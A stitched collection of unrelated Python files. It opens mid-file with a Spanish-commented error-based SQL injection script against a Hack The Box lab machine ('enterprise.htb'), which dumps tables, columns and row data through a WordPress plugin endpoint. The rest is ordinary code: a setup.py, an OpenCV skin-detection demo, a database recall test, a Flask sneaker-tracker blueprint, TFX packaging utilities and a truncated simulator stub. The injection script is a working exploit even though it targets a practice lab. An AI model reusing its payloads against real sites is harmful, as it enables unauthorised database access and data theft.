        payload += "WHERE table_schema IN (0x%s) AND table_name IN (0x%s) LIMIT %d,1),0x5441424C45,FLOOR(RAND(0)*2))x " % (db_name_hex, table_name_hex, col_position)
        payload += "FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)nada)"

        data_get = {"query" : "1 or " + payload}
        p2.status(Color.BLUE + data_get["query"] + Color.END)
        r = session.get(url, params=data_get)

        if "Duplicate" not in r.text:
            break

        p3 = log.progress(Color.BLUE + "Columna [%d]" % (col_position) + Color.END)

        result += re.findall(r'E(.*?)T', r.text)[0]
        p3.success(Color.WHITE + result + Color.END)
        result = ""

    print(Color.BLUE + "\nAhora puedes agregar cualquier columna para listar su información\n" + Color.END)

def extract_data(table_name, column_name):
    result = ""

    # Por si hay 100 filas con data
    for row_position in range(0,100):
        cont_i = 1
        cont_f = 50
        # Proceso de substring cada 50 caracteres (ya que si se pone un numero más grande empiezan a verse problemas), repetirlo 10 veces, osea 451 (inicia en 1, no en 50)
        # i.e: 1,50 primero, despues 51,50, despues 101,50...
        for sub_position in range(10):
            payload = "(SELECT 8350 FROM(SELECT COUNT(*),CONCAT(0x5441424C45,(SELECT "
            payload += "MID((IFNULL(CAST(%s AS NCHAR),0x20)),%d,%d) FROM %s.%s " % (column_name, cont_i, cont_f, db_name, table_name)
            payload += "LIMIT %d,1),0x5441424C45,FLOOR(RAND(0)*2))x " % (row_position)
            payload += "FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)nada)"

            data_get = {"query" : "1 or " + payload}
            p2.status(Color.BLUE + data_get["query"] + Color.END)
            r = session.get(url, params=data_get)

            if "Duplicate" not in r.text:
                break

            # Extraemos la data de la respuesta que esta entre ABLE y TABL. Ya que alguna llega con saltos de linea y no es tomada, debemos tranformar toda la respuesta en un array
            # Ahí buscamos la cadena TABLE1 (final de nuestra busqueda) y extraemos la posicion del array donde esta.
            # Simplemente indicamos que tome desde la posicion 7 (siempre esta el inicio de nuestra cadena "TABLE") hasta la posicion que encontramos antes+1 (para que en caso de que
            #  TABLE1 tenga contenido antes, lo extraiga.
            # Y tomamos esa data extraiga para obtener toda la cadena de informacion que hay desde ABLE a TABL, con esto ya tenemos todo asi llegue con saltos de linea.
            try:
                data = ""
                # Array
                response = r.text.split()
                # Buscamos TABLE1 y extraemos su posicion.
                id_found = [item_res for item_res in range(len(response)) if "TABLE1" in response[item_res]][0]

                # Obtenemos de TABLE a TABLE1 todo lo que esta entre ellos.
                for set_data in range(7, id_found+1):
                    data += response[set_data] + " "

                # Vamos almacenando por cada substring
                result += re.findall(r'ABLE(.*?)TABL', data)[0]

                if result == "":
                    break
            except IndexError:
                break

            # Aumentamos la posicion en la que se mueve cada 50 caracteres
            cont_i += cont_f

        if "Duplicate" not in r.text:
            break

        p3 = log.progress(Color.BLUE + "[%d]" % (row_position) + Color.END)

        p3.success(Color.WHITE + result + Color.END)
        result = ""

url = "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php"
session = requests.Session()

if len(sys.argv) == 2:
    db_name = sys.argv[1]

    p1 = log.progress(Color.BLUE + "Extrayendo tablas de la base de datos %s" % (db_name) + Color.END)
    p2 = log.progress(Color.BLUE + "Payload" + Color.END)
    print("\n")

    extract_tables(db_name)

    print(Color.WHITE + "[!] Usage: python3 " + sys.argv[0] + " " + sys.argv[1] + " <table_name>\n" + Color.END)

elif len(sys.argv) == 3:
    db_name = sys.argv[1]
    table_name = sys.argv[2]

    p1 = log.progress(Color.BLUE + "Extrayendo columnas de la tabla %s" % (table_name) + Color.END)
    p2 = log.progress(Color.BLUE + "Payload" + Color.END)
    print("\n")

    extract_columns(db_name, table_name)

    print(Color.WHITE + "[!] Usage: python3 " + sys.argv[0] + " " + sys.argv[1] + " " + sys.argv[2] + " <column_name>\n" + Color.END)

elif len(sys.argv) == 4:
    db_name = sys.argv[1]
    table_name = sys.argv[2]
    column_name = sys.argv[3]

    p1 = log.progress(Color.BLUE + "Info columna %s - tabla %s" % (column_name, table_name) + Color.END)
    p2 = log.progress(Color.BLUE + "Payload" + Color.END)
    print("\n")

    extract_data(table_name, column_name)

    print(Color.YELLOW + "\nk3Ep br3ak1n6 4anYyyu...\n" + Color.END)

p1.success(Color.WHITE + "d0Ne" + Color.END)
p2.success(Color.WHITE + "d0Ne" + Color.END)


import re
import sys
from setuptools import setup, find_packages

with open("LICENSE") as f:
    LICENSE = f.read()

setup(
    name='imap-tools',
    version='1.0.0',
    author='Joakim Uddholm',
    author_email='tethik@gmail.com',
    description='Commandline Interface to load .env from vault',
    url='https://github.com/Tethik/imap-tools',
    py_modules=['imap_migrate_download','imap_migrate_upload'],
    entry_points = {
        'console_scripts': ['imap-download=imap_migrate_download:cli', 'imap-upload=imap_migrate_upload:cli'],
    },
    zip_safe=True,
    package_data={'': ['LICENSE', 'README.md']},
    include_package_data=True,
    install_requires=[
        "click"
    ],
    license=LICENSE,
    classifiers=[
        'Development Status :: 3 - Beta',
        'Environment :: Console',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT',
        'Programming Language :: Python :: 3.6',
        'Programming Language :: Python',
    ]
)


"""
https://www.pyimagesearch.com/2014/08/18/skin-detection-step-step-example-using-python-opencv/

Real-time (webcam) skin detection using masks.

"""

import numpy
import cv2
import sys

camera = cv2.VideoCapture(0)

# Define the range of skin color in HSV.
lower_bound = numpy.array([0, 48, 80], dtype="uint8")
upper_bound = numpy.array([20, 255, 255], dtype="uint8")

while True:
	# Keep reading frames from the camera.
	(grabbed, frame) = camera.read()

	# Convert BGR to HSV.
	hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)

	# Create a mask for skin isolation.
	mask = cv2.inRange(hsv, lower_bound, upper_bound)

	# Apply a series of erosions and dilations to the mask using an elliptical kernel.
	kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (11, 11))
	mask = cv2.erode(mask, kernel, iterations=2)
	mask = cv2.dilate(mask, kernel, iterations=2)

	# Use a Gaussian blur the mask to help remove noise, then apply the mask to the frame.
	mask = cv2.GaussianBlur(mask, (3, 3), 0)
	skin = cv2.bitwise_and(frame, frame, mask=mask)

	# Show the detected skin in the frame.
	cv2.imshow("Skin Detection", skin)

	# Press ESC key to quit.
	key = cv2.waitKey(5) & 0xFF
	if key == 27:
		break

camera.release()
cv2.destroyAllWindows()


import multiprocessing as mp
import numpy as np
import os
import pandas as pd
import time
import unittest

from sqlalchemy.sql import text
from unittest import IsolatedAsyncioTestCase

from aidb.vector_database.faiss_vector_database import FaissVectorDatabase
from aidb.vector_database.tasti import Tasti
from aidb.utils.logger import logger
from tests.inference_service_utils.http_inference_service_setup import run_server
from tests.inference_service_utils.inference_service_setup import register_inference_services
from tests.utils import setup_gt_and_aidb_engine, setup_test_logger

setup_test_logger('approx_select')

DB_URL = 'sqlite+aiosqlite://'
DATA_SET = 'law'
BUDGET = 5000
RECALL_TARGET = 90

# DB_URL = 'mysql+aiomysql://aidb:aidb@localhost'
class LimitEngineTests(IsolatedAsyncioTestCase):

  async def test_jackson_number_objects(self):

    dirname = os.path.dirname(__file__)
    data_dir = os.path.join(dirname, f'data/{DATA_SET}')
    p = mp.Process(target=run_server, args=[str(data_dir)])
    p.start()
    time.sleep(1)

    # vector database configuration
    index_path = './'
    index_name = DATA_SET
    embedding = np.load(f'./tests/data/embedding/{DATA_SET}_embeddings.npy')
    embedding_df = pd.DataFrame({'id': range(embedding.shape[0]), 'values': embedding.tolist()})

    embedding_dim = embedding.shape[1]
    user_database = FaissVectorDatabase(index_path)
    user_database.create_index(index_name, embedding_dim, recreate_index=True)
    user_database.insert_data(index_name, embedding_df)
    seed = mp.current_process().pid
    tasti = Tasti(index_name, user_database, BUDGET, seed=seed)

    count = 0
    for i in range(100):
      gt_engine, aidb_engine = await setup_gt_and_aidb_engine(DB_URL, data_dir, tasti)

      register_inference_services(aidb_engine, data_dir)
      queries = [
        (
          f'''SELECT entity_id FROM entities00 where type LIKE 'PERSON'
              RECALL_TARGET {RECALL_TARGET}% CONFIDENCE 95%;''',
          '''SELECT entity_id FROM entities00 where type LIKE 'PERSON';'''
        ),
        (
          f'''SELECT entity_id FROM entities00 where type IN (SELECT type FROM entities00 WHERE blob_id < 5)
            RECALL_TARGET {RECALL_TARGET}% CONFIDENCE 95%;''',
          '''SELECT entity_id FROM entities00 where type IN (SELECT type FROM entities00 WHERE blob_id < 5);'''
        ),
      ]

      for aidb_query, exact_query in queries:
        logger.info(f'Running query {aidb_query} in approx select engine')
        seed = (mp.current_process().pid * np.random.randint(100000, size=1)[0]) % (2**32 - 1)
        aidb_res = aidb_engine.execute(aidb_query, __seed=seed)

        logger.info(f'Running query {exact_query} in ground truth database')
        async with gt_engine.begin() as conn:
          gt_res = await conn.execute(text(exact_query))
          gt_res = gt_res.fetchall()

        if len(aidb_res) / len(gt_res) > RECALL_TARGET / 100:
          count += 1

      logger.info(f'AIDB_res: {len(aidb_res)}, gt_res:{len(gt_res)}, Recall: {len(aidb_res) / len(gt_res)},'
                   f' Times of trial:{i + 1}, Count: {count}')

      del gt_engine
      del aidb_engine
    p.terminate()

if __name__ == '__main__':
  unittest.main()


#!/usr/bin/env python3

import os
import urllib.request
import requests

from bs4 import BeautifulSoup
from flask import Blueprint,render_template,request,redirect,url_for,session,flash
from time  import gmtime,strftime

from ..models.model import User,ShoeBox,Sneaker,ShoeView,UserFavorites
from ..extensions.loaders import tsplit, search_terms,update_shoe,shoe_info,price_premium,shoes_like_list,get_current_date,account_pairing_scores,line_graph_labels,add_dict_total

elekid = Blueprint('private',__name__,url_prefix='/p')

@elekid.route('/adex',methods=['GET','POST'])
def adex():
    if request.method == 'GET':
        try:
            user = User({'username': session['username'],
                        'pk': session['pk'], 'age': session['age'],
                        'gender': session['gender']})
            sneaker        = Sneaker()
            sneaker_total  = '{:,}'.format(sneaker.get_total_sneakers())
            per_sale_value = '{:0.2f}'.format(sneaker.get_total_value()/sneaker.get_total_sales())
            nike_premium   = '{:0.2f}'.format(sneaker.get_total_premium_by_brand('nike'))
            adidas_premium = '{:0.2f}'.format(sneaker.get_total_premium_by_brand('adidas'))
            jordan_premium = '{:0.2f}'.format(sneaker.get_total_premium_by_brand('jordan'))
            other_premium  = '{:0.2f}'.format(sneaker.get_total_premium_by_brand('other'))
            return render_template('private/adex.html',
                                    sneaker_total  = sneaker_total,
                                    per_sale_value = per_sale_value,
                                    nike_premium   = nike_premium,
                                    adidas_premium = adidas_premium,
                                    jordan_premium = jordan_premium,
                                    other_premium  = other_premium )
        except KeyError:
            return redirect('/register')
    elif request.method == 'POST':
        search_terms = request.form['post_button']
        if search_terms == '':
            return redirect(url_for('private.adex'))
        else:
            return redirect('p/search/'+search_terms)

@elekid.route('/search/<searchterms>',methods=['GET','POST'])
def search_results(searchterms):
    if request.method == 'GET':
        """
        ----------------------------
        SEARCH FOR KEYWORD STRENGTH
        INCLUDES ALL BRAND PARAMETER
        ----------------------------
        """
        shoe_list = search_terms(searchterms,'all')
        return render_template('private/search-result.html',
                                shoe_list   = shoe_list,
                                searchterms = searchterms)
    elif request.method == 'POST':
        return redirect('p/search/'+search_terms)
    else:
        pass

@elekid.route('/account',methods=['GET','POST'])
def account():
    if request.method == 'GET':
        try:
            """
            ~~~~~~~~~
            USER INFO
            ~~~~~~~~~
            """
            user    = User({'username': session['username'],
                            'pk': session['pk'], 'age': session['age'],
                            'gender': session['gender']})

            shoebox = user.display_shoebox()
            total   = len(shoebox)
            spent   = add_dict_total(shoebox, 'price_bought')
            value   = add_dict_total(shoebox, 'value')
            profit  = add_dict_total(shoebox, 'profit')

            label_list  = line_graph_labels(shoebox, 'value')
            profit_list = line_graph_labels(shoebox, 'profit')

            sneaker    = Sneaker()
            pie_brands = ['nike', 'adidas', 'jordan', 'other']
            pie_values = [0, 0, 0, 0]
            colors = ["rgba(247, 100, 152, 1)","rgba(58, 214, 222, 0.54)","rgba(251, 240, 18, 0.93)","rgba(118, 227, 189, 1)"]

            for key in shoebox.keys():
                box_brand = sneaker.get_brand(shoebox[key]['shoename'])
                for brand in pie_brands:
                    if box_brand == brand and brand == 'nike':
                        pie_values[0] += 1
                    elif box_brand == brand and brand == 'adidas':
                        pie_values[1] += 1
                    elif box_brand == brand and brand == 'jordan':
                        pie_values[2] += 1
                    elif box_brand == brand and brand == 'other':
                        pie_values[3] += 1

            date_label   = label_list[0]
            value_label  = label_list[1]
            profit_label = profit_list[1]
            print(date_label)

            return render_template('private/account-vk.html',
                                    shoebox = shoebox,
                                    total   = total,
                                    spent   = spent,
                                    value   = value,
                                    profit  = profit,
                                    max     = max(value_label)+10,
                                    labels  = date_label,
                                    values  = value_label,
                                    profits = profit_label,
                                    colors  = colors,
                                    set = zip(pie_values, pie_brands, colors) )
        except KeyError:
            return redirect('/register')
    elif request.method == 'POST':
        if request.form['post_button'].split('-')[0] == 'Update':
            box_pk   = request.form['post_button'].split('-')[1]
            box      = ShoeBox(pk=box_pk)
            shoeName = box.shoename
            return redirect('/p/update-box/'+box_pk+'/'+shoeName)
        elif request.form['post_button'].split('-')[0] == 'Remove':
            box_pk = request.form['post_button'].split('-')[1]
            box    = ShoeBox(pk=box_pk)
            box.remove(box_pk)
            return redirect('/p/account')
    else:
        pass

@elekid.route('/favorites',methods=['GET','POST'])
def favorites():
    if request.method == 'GET':
        try:
            """
            ~~~~~~~~~
            USER INFO
            ~~~~~~~~~
            """
            user    = User({'username': session['username'],
                            'pk': session['pk'], 'age': session['age'],
                            'gender': session['gender']})
            favList = user.display_favorites()
            like_account = account_pairing_scores(user.pk)
            pk1 = like_account[0]
            pk2 = like_account[1]
            u = User()
            recList = u.display_reccomendations(pk1,pk2)
            print(favList)
            print(recList)
            return render_template('private/favorites.html',
                                    favList = favList,
                                    recList = recList )
        except KeyError:
            return redirect('/register')
    elif request.method == 'POST':
        print(request.form.get('post_button'))
        fav = UserFavorites()
        fav.remove(request.form.get('post_button'))
        return redirect('/p/favorites')
    else:
        pass

@elekid.route('/upload',methods=['GET','POST'])
def upload():
    if request.method == 'GET':
        return render_template('private/upload.html')
    elif request.method == 'POST':
        name = request.form['name']
        print(name)
        lower_name = name.lower().split(' ')
        print(lower_name)
        join_name = '-'.join(lower_name)
        print(join_name)
        url = 'https://stockx.com/'+str(join_name)
        print(url)
        sneaker = Sneaker()
        shoeData = scrape_new_shoe(url)
        if not sneaker.existing(shoeData['name']):
            download_sneaker_img(shoeData)
            print('DOWNLOADED IMAGE: {}'.format(shoeData['image']))
            insert_shoe_to_db(shoeData)
            print('ADDED SHOE TO DATABASE')
            return redirect('/add/success')
        else:
            return render_template('/private/upload.html',
                                    message='Shoe Exists Homie!' )
    else:
        pass

@elekid.route('/id/<shoeName>',methods=['GET','POST'])
def id(shoeName):
    if request.method == 'GET':
        try:
            user = User({'username': session['username'],'pk': session['pk'],'age': session['age'],'gender': session['gender']})
            update_shoe(shoeName)
            shoeData  = Sneaker(name=shoeName)
            premium   = price_premium(shoeData.retail_price,shoeData.avg_sale_price)
            likeShoes = shoes_like_list(shoeName)
            return render_template('private/shoe_id.html',
                                    shoename  = shoeName,
                                    shoeData  = shoeData,
                                    premium   = premium,
                                    likeShoes = likeShoes )
        except KeyError:
            return redirect('/')
        except AttributeError:
            shoe = ShoeView(shoename=shoeName)
            shoe.save(shoeName)
            update_shoe(shoeName)
            shoeData = Sneaker(name=shoeName)
            premium = price_premium(shoeData.retail_price,shoeData.avg_sale_price)
            likeShoes = shoes_like_list(shoeName)
            return render_template('public/shoe_id.html',
                                   shoename=shoeName,
                                   shoeData=shoeData,
                                   premium=premium,
                                   likeShoes=likeShoes )
    elif request.method == 'POST':
        if request.form['post_button'] == 'Favorite':
            try:
                user = User({'username': session['username'],
                             'pk': session['pk'], 'age': session['age'],
                             'gender': session['gender']})
                shoeData = Sneaker(name=shoeName)
                user.favoriteShoe(shoeName,user.pk)
                premium = price_premium(shoeData.retail_price,shoeData.avg_sale_price)
                likeShoes = shoes_like_list(shoeName)
                return render_template('private/shoe_id.html',
                                        shoename  = shoeName,
                                        shoeData  = shoeData,
                                        message   = 'This Sneaker Has Been Favorited!',
                                        premium   = premium,
                                        likeShoes = likeShoes )
            except KeyError:
                return redirect('/')
        elif request.form['post_button'] == 'Add To Shoebox':
            return redirect('/p/add-buy/'+shoeName)
    else:
        pass

@elekid.route('/add-buy/<shoeName>',methods=['GET','POST'])
def add_buy(shoeName):
    if request.method == 'GET':
        try:
            user = User({'username': session['username'], 'pk': session['pk'],
                        'age': session['age'], 'gender': session['gender']})
            return render_template('private/add_buy.html',
                                    shoeName=shoeName )
        except KeyError:
            return redirect('/')
    elif request.method == 'POST':
        if request.form['post_button'] == 'BUY':
            return ('', 204)
        elif request.form['post_button'] == 'SELL':
            return redirect('/p/add-sell/'+shoeName)
        else:
            try:
                user = User({'username': session['username'], 'pk': session['pk'],
                        'age': session['age'], 'gender': session['gender']})
                type = 'Buy'
                price_bought = request.form['price'].strip('$')
                new_price = float(price_bought.replace(',',''))
                date = get_current_date()
                profit = 0
                user.add_to_box(type,shoeName,date,new_price,profit,user.pk)
                return redirect(url_for('private.add_success',
                                         shoeName=shoeName,
                                         message='added' ))
            except ValueError:
                return render_template('private/add_buy.html',
                                        shoeName = shoeName,
                                        message  = "Enter a number." )
    else:
        pass

@elekid.route('/add-sell/<shoeName>',methods=['GET','POST'])
def add_sell(shoeName):
    if request.method == 'GET':
        try:
            user = User({'username': session['username'], 'pk': session['pk'],
                        'age': session['age'], 'gender': session['gender']})
            return render_template('private/add_sell.html',
                                    shoeName=shoeName )
        except KeyError:
            return redirect('/')
    elif request.method == 'POST':
        if request.form['post_button'] == 'BUY':
            return redirect('/p/add-buy/'+shoeName)
        elif request.form['post_button'] == 'SELL':
            return ('', 204)
        else:
            try:
                sneaker = Sneaker(name=shoeName)
                user = User({'username': session['username'], 'pk': session['pk'],
                            'age': session['age'], 'gender': session['gender']})
                type = 'Sell'
                price_bought     = request.form['price_bought'].strip('$')
                new_price_bought = price_bought.replace(',','')
                new_price_bought = float(new_price_bought)
                price_sold       = request.form['price_sold'].strip('$')
                new_price_sold   = float(price_sold.replace(',',''))
                profit           = new_price_sold - new_price_bought
                date             = get_current_date()
                user.add_to_box(type,shoeName,date,new_price_bought,profit,user.pk,new_price_sold)
                return redirect(url_for('private.add_success',
                                         shoeName=shoeName,
                                         message="added"))
            except ValueError:
                return render_template('private/add_sell.html',
                                        shoeName = shoeName,
                                        message  = "Enter a number." )
    else:
        pass

@elekid.route('/update-box/<box_pk>/<shoeName>',methods=['GET','POST'])
def update_box(shoeName,box_pk):
    shoeName=shoeName
    if request.method == 'GET':
        user = User({'username': session['username'], 'pk': session['pk'],
                     'age': session['age'], 'gender': session['gender']})
        return render_template('private/update-box.html',
                                shoeName=shoeName,
                                box_pk=box_pk )
    elif request.method == 'POST':
        try:
            box = ShoeBox(pk=box_pk)
            user = User({'username': session['username'], 'pk': session['pk'],
                         'age': session['age'], 'gender': session['gender']})

            price_bought = request.form['price_bought'].strip('$')
            new_price_bought = price_bought.replace(',','')
            new_price_bought = float(new_price_bought)

            price_sold = request.form['price_sold'].strip('$')
            new_price_sold = float(price_sold.replace(',',''))
            type = box.type
            profit = new_price_sold - new_price_bought
            user.update_shoebox(box_pk, type, price_bought, price_sold, profit, user.pk)
            return redirect(url_for('private.add_success',
                                     shoeName=shoeName,
                                     message='updated' ))
        except ValueError:
            return render_template('private/add_sell.html',
                                    shoeName = shoeName,
                                    box_pk   = box_pk,
                                    message  = "Enter a number." )
    else:
        pass

@elekid.route('<message>/<shoeName>/success',methods=['GET','POST'])
def add_success(shoeName, message):
    if request.method == 'GET':
        return render_template('private/success_add.html',
                                shoeName=shoeName,
                                message=message )
    elif request.method == "POST":
        pass
    else:
        pass


import hashlib
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile

from typing import Any, Callable, Dict, List, Optional, Tuple

from absl import logging

from tfx.dsl.components.base import base_component
from tfx.dsl.io import fileio
from tfx.utils import import_utils
from tfx.utils import io_utils

# Key for module file path.
_MODULE_FILE_KEY = 'module_file'
# Key for module python path.
_MODULE_PATH_KEY = 'module_path'
# Ephemeral setup.py file name.
_EPHEMERAL_SETUP_PY_FILE_NAME = '_tfx_generated_setup.py'

# TODO(b/157155972): improve user code support.
def get_fn(exec_properties: Dict[str, Any], fn_name: str) -> Callable[..., Any]:
  """Loads and returns user-defined function."""
  logging.info('udf_utils.get_fn %r %r', exec_properties, fn_name)

  has_module_file = bool(exec_properties.get(_MODULE_FILE_KEY))
  has_module_path = bool(exec_properties.get(_MODULE_PATH_KEY))
  has_fn = bool(exec_properties.get(fn_name))

  if has_module_path:
    module_path = exec_properties[_MODULE_PATH_KEY]
    return import_utils.import_func_from_module(module_path, fn_name)
  elif has_module_file:
    if has_fn:
      return import_utils.import_func_from_source(
          exec_properties[_MODULE_FILE_KEY], exec_properties[fn_name])
    else:
      return import_utils.import_func_from_source(
          exec_properties[_MODULE_FILE_KEY], fn_name)
  elif has_fn:
    fn_path_split = exec_properties[fn_name].split('.')
    return import_utils.import_func_from_module('.'.join(fn_path_split[0:-1]),
                                                fn_path_split[-1])
  else:
    raise ValueError(
        'Neither module file or user function have been supplied in `exec_properties`.'
    )

def try_get_fn(exec_properties: Dict[str, Any],
               fn_name: str) -> Optional[Callable[..., Any]]:
  """Loads and returns user-defined function if exists."""
  try:
    return get_fn(exec_properties, fn_name)
  except (ValueError, AttributeError):
    # ValueError: module file or user function is unset.
    # AttributeError: the function doesn't exist in the module.
    return None

def _get_ephemeral_setup_py_contents(package_name: str, version_string: str,
                                     module_names: List[str]):
  return f"""import setuptools

setuptools.setup(
    name={repr(package_name)},
    version={repr(version_string)},
    author='TFX User',
    author_email='nobody@example.com',
    description='Auto-generated TFX user code package.',
    py_modules={repr(module_names)},
    classifiers=[],
    python_requires='>=3.6',
)
"""

def should_package_user_modules():
  """Whether to package user modules in the current execution environment."""
  if os.environ.get('UNSUPPORTED_DO_NOT_PACKAGE_USER_MODULES'):
    return False
  return True

class UserModuleFilePipDependency(base_component._PipDependencyFuture):  # pylint: disable=protected-access
  """Specification of a user module dependency."""

  def __init__(self, component: base_component.BaseComponent,
               module_file_key: str, module_path_key: str):
    self.component = component
    self.module_file_key = module_file_key
    self.module_path_key = module_path_key

  def resolve(self, pipeline_root: str):
    # Package the given user module file as a Python wheel.
    module_file = self.component.spec.exec_properties[self.module_file_key]

    # Perform validation on the given `module_file`.
    if not module_file:
      return None
    elif not isinstance(module_file, str):
      # TODO(b/187753042): Deprecate and remove usage of RuntimeParameters for
      # `module_file` parameters and remove this code path.
      logging.warning(
          'Module file %r for component %s is not a path string; '
          'skipping Python user module wheel packaging.', module_file,
          self.component)
      return None
    elif not fileio.exists(module_file):
      raise ValueError(f'Specified module file {module_file!r} '
                       f'for component {self.component} does not exist.')

    # Perform validation on the `pipeline_root`.
    if not pipeline_root:
      logging.warning(
          'No pipeline root provided; skipping Python user module '
          'wheel packaging for component %s.', self.component)
      return None
    pipeline_root_exists = fileio.exists(pipeline_root)
    if not pipeline_root_exists:
      fileio.makedirs(pipeline_root)

    # Perform packaging of the user module.
    dist_file_path, user_module_path = package_user_module_file(
        self.component.id, module_file, pipeline_root)

    # Set the user module key to point to a module in this wheel, and clear the
    # module path key before returning.
    self.component.spec.exec_properties[self.module_path_key] = user_module_path
    self.component.spec.exec_properties[self.module_file_key] = None
    return dist_file_path

def add_user_module_dependency(component: base_component.BaseComponent,
                               module_file_key: str,
                               module_path_key: str) -> None:
  """Adds a module file dependency to the current component."""
  dependency = UserModuleFilePipDependency(component, module_file_key,
                                           module_path_key)
  component._add_pip_dependency(dependency)  # pylint: disable=protected-access

def _get_version_hash(user_module_dir: str, source_files: List[str]) -> str:
  """Compute a version hash based on user module directory contents."""
  source_files = sorted(source_files)
  h = hashlib.sha256()
  for source_file in source_files:
    source_file_name_bytes = source_file.encode('utf-8')
    h.update(struct.pack('>Q', len(source_file_name_bytes)))
    h.update(source_file_name_bytes)
    with open(os.path.join(user_module_dir, source_file), 'rb') as f:
      file_contents = f.read()
    h.update(struct.pack('>Q', len(file_contents)))
    h.update(file_contents)
  return h.hexdigest()

def package_user_module_file(instance_name: str, module_path: str,
                             pipeline_root: str) -> Tuple[str, str]:
  """Package the given user module file into a Python Wheel package.

  Args:
      instance_name: Name of the component instance, for creating a unique wheel
        package name.
      module_path: Path to the module file to be packaged.
      pipeline_root: Text

  Returns:
      dist_file_path: Path to the generated wheel file.
      user_module_path: Path for referencing the user module when stored
        as the _MODULE_PATH_KEY execution property. Format should be treated
        as opaque by the user.

  Raises:
      RuntimeError: When wheel building fails.
  """
  module_path = os.path.abspath(io_utils.ensure_local(module_path))
  if not module_path.endswith('.py'):
    raise ValueError(f'Module path {module_path!r} is not a ".py" file.')
  if not os.path.exists(module_path):
    raise ValueError(f'Module path {module_path!r} does not exist.')

  user_module_dir, module_file_name = os.path.split(module_path)
  user_module_name = re.sub(r'\.py$', '', module_file_name)
  source_files = []

  # Discover all Python source files in this directory for inclusion.
  for file_name in os.listdir(user_module_dir):
    if file_name.endswith('.py'):
      source_files.append(file_name)
  module_names = []
  for file_name in source_files:
    if file_name in (_EPHEMERAL_SETUP_PY_FILE_NAME, '__init__.py'):
      continue
    module_name = re.sub(r'\.py$', '', file_name)
    module_names.append(module_name)

  # Set up build directory.
  build_dir = tempfile.mkdtemp()
  for source_file in source_files:
    shutil.copyfile(
        os.path.join(user_module_dir, source_file),
        os.path.join(build_dir, source_file))

  # Generate an ephemeral wheel for this module.
  logging.info(
      'Generating ephemeral wheel package for %r (including modules: %s).',
      module_path, module_names)

  version_hash = _get_version_hash(user_module_dir, source_files)
  logging.info('User module package has hash fingerprint version %s.',
               version_hash)

  setup_py_path = os.path.join(build_dir, _EPHEMERAL_SETUP_PY_FILE_NAME)
  with open(setup_py_path, 'w', encoding='utf-8') as f:
    f.write(
        _get_ephemeral_setup_py_contents(f'tfx-user-code-{instance_name}',
                                         f'0.0+{version_hash}', module_names))

  temp_dir = tempfile.mkdtemp()
  dist_dir = tempfile.mkdtemp()
  bdist_command = [
      sys.executable, setup_py_path, 'bdist_wheel', '--bdist-dir', temp_dir,
      '--dist-dir', dist_dir
  ]
  logging.info('Executing: %s', bdist_command)
  try:
    subprocess.check_call(bdist_command, cwd=build_dir)
  except subprocess.CalledProcessError as e:
    raise RuntimeError('Failed to build wheel.') from e

  dist_files = os.listdir(dist_dir)
  if len(dist_files) != 1:
    raise RuntimeError(f'Unexpectedly found {len(dist_files)} output files '
                       f'in wheel output directory {dist_dir}.')
  build_dist_file_path = os.path.join(dist_dir, dist_files[0])
  # Copy wheel file atomically to wheel staging directory.
  dist_wheel_directory = os.path.join(pipeline_root, '_wheels')
  dist_file_path = os.path.join(dist_wheel_directory, dist_files[0])
  temp_dist_file_path = dist_file_path + '.tmp'
  fileio.makedirs(dist_wheel_directory)
  fileio.copy(build_dist_file_path, temp_dist_file_path, overwrite=True)
  fileio.rename(temp_dist_file_path, dist_file_path, overwrite=True)
  logging.info(
      ('Successfully built user code wheel distribution at %r; target user '
       'module is %r.'), dist_file_path, user_module_name)

  # Encode the user module key as a specification of a user module name within
  # a packaged wheel path.
  assert '@' not in user_module_name, ('Unexpected invalid module name: ' +
                                       user_module_name)
  user_module_path = f'{user_module_name}@{dist_file_path}'
  logging.info('Full user module path is %r', user_module_path)

  return dist_file_path, user_module_path

def decode_user_module_key(user_module_key: str) -> Tuple[str, List[str]]:
  """Decode the given user module key into module path and pip dependencies."""
  if user_module_key and '@' in user_module_key:
    user_module_name, dist_file_path = user_module_key.split('@', maxsplit=1)
    return user_module_name, [dist_file_path]
  else:
    return user_module_key, []

class TempPipInstallContext:
  """Context manager for wrapped code and subprocesses to use pip package."""

  def __init__(self, pip_dependencies: List[str]):
    if not isinstance(pip_dependencies, list):
      raise ValueError('Expected list of dependencies, '
                       f'got {pip_dependencies!r} instead.')
    self.pip_dependencies = pip_dependencies
    self.temp_directory = None
    self.orig_syspath = None
    self.orig_pypath = None

  def __enter__(self) -> 'TempPipInstallContext':
    if self.pip_dependencies:
      self.temp_directory = tempfile.mkdtemp()
      for dependency in self.pip_dependencies:
        install_to_temp_directory(dependency, temp_dir=self.temp_directory)
      self.orig_syspath = sys.path
      sys.path = sys.path + [self.temp_directory]
      if 'PYTHONPATH' in os.environ:
        self.orig_pypath = os.environ['PYTHONPATH']
        os.environ['PYTHONPATH'] = (
            self.orig_pypath + os.pathsep + self.temp_directory)
      else:
        os.environ['PYTHONPATH'] = self.temp_directory
    return self

  def __exit__(self, *unused_exc_info):
    if self.pip_dependencies:
      sys.path = self.orig_syspath
      if self.orig_pypath is not None:
        os.environ['PYTHONPATH'] = self.orig_pypath
      else:
        del os.environ['PYTHONPATH']

def install_to_temp_directory(pip_dependency: str,
                              temp_dir: Optional[str] = None) -> str:
  """Install the given pip dependency specifier to a temporary directory.

  Args:
      pip_dependency: Path to a wheel file or a pip dependency specifier (e.g.
        "setuptools==18.0").
      temp_dir: Path to temporary installation location (optional).

  Returns:
      Temporary directory where the package was installed, that should be added
      to the Python import path.
  """
  logging.info('Installing %r to a temporary directory.', pip_dependency)
  if not temp_dir:
    temp_dir = tempfile.mkdtemp()
  install_command = [
      sys.executable, '-m', 'pip', 'install', '--target', temp_dir,
      pip_dependency
  ]
  logging.info('Executing: %s', install_command)
  subprocess.check_call(install_command)
  logging.info('Successfully installed %r.', pip_dependency)
  return temp_dir


from ElectronicSystems import ElectronicSystem
#from Crystal import ConductionBand, ValenceBand
from LaserProfiles import PumpBeam, StedBeam
from Utility import EvolutionRecorder

import numpy as np
import sys

from multiprocessing import Process

class SolidStateStedSimulator(Process):
	#--------------------------------------------------------------------------
